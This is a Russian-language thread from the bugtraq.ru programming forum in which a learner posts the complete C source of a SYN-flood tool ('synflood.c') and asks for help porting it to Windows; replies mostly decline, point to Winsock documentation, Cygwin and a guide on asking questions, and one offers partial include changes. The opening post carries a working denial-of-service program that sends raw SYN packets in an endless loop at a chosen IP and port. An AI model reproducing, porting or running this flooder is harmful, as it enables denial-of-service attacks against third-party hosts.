информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
За кого нас держат?Все любят мед
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Ну переводить твой код не буду ;), Вообще я не уверен что в... 15.03.04 12:52  Число просмотров: 1467
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Ну переводить твой код не буду ;), Вообще я не уверен что в виндах есть RAW_TCP, а вот RAW_IP имеется начиная с 2000х. Вот тебе ссылка. Все что там описано - работает ;)
http://pinegap.net/infosurge/infosurge-20.txt
<programming>
Помогите портировать код из Unix в Windows 12.03.04 22:28   [leo, Ktirf, amirul, vaborg]
Автор: choor Статус: Elderman
<"чистая" ссылка>
Продолжаю изучать Си. Вот помогите разобраться как этот код:
/*
 *                                                
 * synflood.c - description:               
 * programm: SYN-Flooder                   
 * version: 0.1                            
 * author: VIsir (visir@p0is0n.net)        
 *                                         
 * (c)Net Poison [www.p0is0n.net] Network Parasites
 *                                                
 */
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/tcp.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char *argv[])
{
	int sock;
	struct sockaddr_in sin;
	struct tcphdr tcph;
	
	if(argc != 3) {
		printf("Usage: %s <ip> <port>\n", argv[0]);
		return 0;
	}

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(atoi(argv[2]));
	
	if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
	    perror("socket()");
	    return 0;
	}

	bzero(&tcph, sizeof(tcph));	
#ifdef_linux_	tcph.dest = sin.sin_port;
	tcph.doff = sizeof(tcph) >> 2;
	tcph.syn = 1;
	tcph.window = htons(65535);
#else
	tcph.th_dport = sin.sin_port;
	tcph.th_off = sizeof(tcph) >> 2;
	tcph.th_flags = TH_SYN;
	tcph.th_win = htons(65535);
#endif

	printf("Flooding %s:%d\n", inet_ntoa(sin.sin_addr),
						ntohs(sin.sin_port));

	while(1) {
	int sport, seq;
#ifdef_linux_		tcph.source = htons(sport);
		tcph.seq = htonl(seq);
#else
		tcph.th_sport = htons(sport);
		tcph.th_seq = htonl(seq);
#endif
		seq += 31337;
		sport -= 13572;
		if(sendto(sock, &tcph, sizeof(tcph), 0,
			    (struct sockaddr*)&sin, sizeof(sin)) == -1) {
		    perror("sendto()");
		    return 0;
		}
		printf(".");
		fflush(stdout);
	}
	close(sock);
}
 

---
Перенести в Windows.
Примного благодарен, если ещё и коментарии будут :)
Человек, писавший эту программу сказал 16.03.04 07:15  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Изменить инклуды на:

#define WIN32_LEAN_AND_BEAM
#include<windows.h>
#include<winsock.h>

И добавить функцию:

int WSAStartup (
WORD wVersionRequested,
LPWSADATA lpWSAData
);
Мало и не совсем то. 16.03.04 15:52  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Изменить инклуды на:
>
> #define WIN32_LEAN_AND_BEAM
Гы, он WIN32_LEAN_AND_MEAN, вообще-то :) Вообще говоря, по фигу. Этот макрос всего лишь отключает редко используемый код в библиотеках, чтобы компилятор его зря не жевал. Точно можно сказать, что простенький клиент на сокетах этот код не использует, так что да, можно поставить :) Возможно, оно будет у тебя компиляться на пару десятых секунды быстрее :)

> #include<windows.h>
> #include<winsock.h>
>
> И добавить функцию:
>
> int WSAStartup (
> WORD wVersionRequested,
> LPWSADATA lpWSAData
> );

Это не все. Я, конечно, понимаю, что на виндах с сокетами через int работать - это круто, но я бы все-таки тип SOCKET использовал. И еще некоторое количество таких же фишек, в частности, с проверками ошибок.
Все понятно ктоме одного -- какова мораль? :) 16.03.04 11:26  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
:) 16.03.04 14:36  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Получилось, что никто не знает, как быстро и комфортно перенести этот код :) кроме того кто писал этот код %)
Программисты блин %))
Не. Никто не захотел помочь. 16.03.04 16:00  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
> Получилось, что никто не знает, как быстро и комфортно
> перенести этот код :) кроме того кто писал этот код %)
Ага, и даже он сказал не все.

> Программисты блин %))
Могу лишь ответить - учащийся C блин %-)

На Реймонда ссылку дать?
Давай :) 16.03.04 18:57  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Она, в общем-то, вверху страницы все время висит. Не обижайся, если что. 16.03.04 19:48  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>


Как правильно задавать вопросы
О! и я не сразу въехал :))))))) именна это и нужно :) 16.03.04 20:53  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
мая ни согласная!!! :) 16.03.04 15:36  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
> Получилось, что никто не знает, как быстро и комфортно
> перенести этот код :) кроме того кто писал этот код %)
> Программисты блин %))
Люди смотрели с общих позиций на впорос,
никто и не собиралсяя запускать именно этот листинг :)
ты бы еще кусок ядра положил с вопросом как запустить под мастдаем :)))
Ну мне конкретно нужен был этот код :) 16.03.04 15:46  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Я знаю, почему никто не захотел 16.03.04 18:01  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Ты забыл написать: "Живо, мля!!!" :-)
Ну не захотел никто переписывать для тебя этот код. В MSDN-е про сокеты все прекрасно расписано. Я там даже про Nagle алгоритм и прочие прелести TCP/IP понаходил.

Ну не ответили и все. Зачем обижаться-то. А тем более высказывать сомнения в компетенции. Думаю если ты предложишь мне или тому же Ktirf-у пару зеленых президентов. Короче. Все сказано у Реймонда: http://www.bugtraq.ru/forum/faq/general/smart-questions.html
Если ты не показал, что ты и сам работал над этим вопросом, а просто придешь и скажешь: напишите мне и побыстрее, тебя скорее всего проигнорируют
Да я ни на кого не обиделся :) 16.03.04 18:17  
Автор: choor Статус: Elderman
Отредактировано 16.03.04 18:22  Количество правок: 1
<"чистая" ссылка>
Да я ни на кого не обиделся :)
Наоборот спасибо, что помогли :)
мая опять ни согласная :))) 16.03.04 19:34  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
читаем первый пост!!! :)
------помогите разобраться!!!! :)------------
каждый сказал все что знал по поводу портирования
а вот разбираться в нем надо было самому :)) вообщем
каков вопрос таков и ответ ничего тут удивительного :)))
Ну переводить твой код не буду ;), Вообще я не уверен что в... 15.03.04 12:52  
Автор: Killer{R} <Dmitry> Статус: Elderman
<"чистая" ссылка>
Ну переводить твой код не буду ;), Вообще я не уверен что в виндах есть RAW_TCP, а вот RAW_IP имеется начиная с 2000х. Вот тебе ссылка. Все что там описано - работает ;)
http://pinegap.net/infosurge/infosurge-20.txt
Cygwin 15.03.04 11:53  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
врятли кто то будет тебе переносить твой код :)
если надо запустить то субж может помочь
а вообще говоря портирование весчь нетривиальная
могу тока предложить придерживаться POSIXа :)) тогда по идее все запуститься без проблем :)
пример 15.03.04 16:49  
Автор: vaborg <Israel Vaborg> Статус: Elderman
<"чистая" ссылка>
нашел пример который может понять как и куда переносится
смотри исходники sylpheed для линуха и вин32
читай доку к ним и думай :)
Пожалуйста :) 13.03.04 23:25  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Ну хорошо, давай я тебе перечислю места, которые нужно изменить. Я скорее всего что-то забуду. Тебе это поможет в изучении C?
Вот тебе кусок кода (через Яндекс найденный, между прочим), методом сравнения попробуй понять, что тебе нужно изменить. И почитай MSDN по работе с сокетами, если уж неохота в бумажные книжки лезть.
Заглянув по ссылке, ты поймешь, что комментарии к твоему вопросу писать - на брошюрку хватит. У Снейдера все по крайней мере систематично изложено.
Берешь Йона Снейдера и читаешь. 13.03.04 15:12  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Спасибо за очень конструктивный и позновательный ответ! 13.03.04 17:59  
Автор: choor Статус: Elderman
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 1 s   Design: Vadim Derkach